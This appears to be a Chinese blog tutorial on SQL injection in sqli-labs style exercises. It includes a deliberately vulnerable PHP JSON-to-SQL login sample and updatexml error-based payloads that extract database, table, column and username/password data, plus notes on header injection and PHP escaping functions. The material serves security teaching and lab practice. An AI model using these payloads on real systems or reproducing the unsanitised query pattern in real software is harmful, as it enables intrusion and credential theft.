赞
踩
a.数字
b.字符
c.搜索符
4.json
HTTP头
GET
POST
COOKIE
REQUEST
JSON注入相关知识
$_SERVER(php内置变量,可查询数据包或浏览器信息,可以将查询信息改为sql语句)
a. 简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”
b. JSON语法
■ 数据在名称/值对中
■ 数据由逗号分隔
■ 大括号保存对象
■ 中括号保存数组
c. JSON值
■ 数字(整数或浮点数) {“age”:30 }
■ 字符串(在双引号中) {“uname”:“yang”}
■ 逻辑值(true 或 false) {“flag”:true }
■ 数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
■ 对象(在大括号中)JSON 对象在大括号({})中书写:
■ null { “runoob”:null }
d. JSON代码格式
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
<?php // php防止中文乱码 header('content-type:text/html;charset=utf-8'); if(isset($_POST['json'])){ $json_str=$_POST['json']; $json=json_decode($json_str); if(!$json){ die('JSON文档格式有误,请检查'); } $username=$json->username; //$password=$json->password; // 建立mysql连接,root/root连接本地数据库 $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli->connect_errno){ die('数据库连接失败:'.$mysqli->connect_error); } // 要操作的数据库名,我的数据库是security $mysqli->select_db('security'); if($mysqli->errno){ dir('打开数据库失败:'.$mysqli->error); } // 数据库编码格式 $mysqli->set_charset('utf-8'); // 从users表中查询username,password字段 $sql="SELECT username,password FROM users WHERE username='{$username}'"; $result=$mysqli->query($sql); if(!$result){ die('执行SQL语句失败:'.$mysqli->error); }else if($result->num_rows==0){ die('查询结果为空'); }else { $array1=$result->fetch_all(MYSQLI_ASSOC); echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}"; } // 释放资源 $result->free(); $mysqli->close(); } ?>
最开始学的时候,可以结合源码看看,会有收获哦
爆库名:
?id=1’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
爆表名:
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=“security”),0x7e),1)-- -
爆字段名:
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”),0x7e),1)-- -
爆字段内容:
1’ and updatexml(1,concat(0x7e,(select concat(0x23,id,0x3a,username,0x3a,password,0x23) from security.users limit 0,1),0x7e),1)-- -
与Less-5差不多,将单引号换双引号就可以了
在Username:和Password :两个框任意一个框注入都可以
分析源码
check_input()函数, 较强的过滤,所以考虑从其他地方入手
a.说明要输入的uname和passwd要是数据库里的(可以用mysql看一下)当然也可以自己猜
b.有一个insert函数,说明在User-Agent:里的内容会被插入到uagents表里,说明有交互,可以尝试注入
c.能够看到会报错,所以可以试一下报错注入
对其中有疑惑的可以看源码(开始学习的过程多看源码,多理解)
intval( )函数 :获取变量的整数值,允许以使用特定的进制返回。默认10进制
echo intval(“0x1a”, 0), “\n”; // 使用16进制。 结果 “26”
echo intval(“057”, 0), “\n”; // 使用8进制。 结果 “47”
echo intval(“57”),“\n”; // 使用10进制。结果57
echo intval(“42”, 0), “\n”; // 结果 “42”
ctype_digit(string):检查字符串里的字符是不是都是数字,是返回true,不是返回false
mysql_real_escape_string():函数转义sql语句中使用的字符串中的特殊字符。
当 magic_quotes_gpc 打开时,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。 addslashes() 函数
get_magic_quotes_gpc函数:是一个用来判断是否为用户提供的数据增加斜线(是否开魔术引号)
stripslashes() 函数:删除由函数添加的反斜杠。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。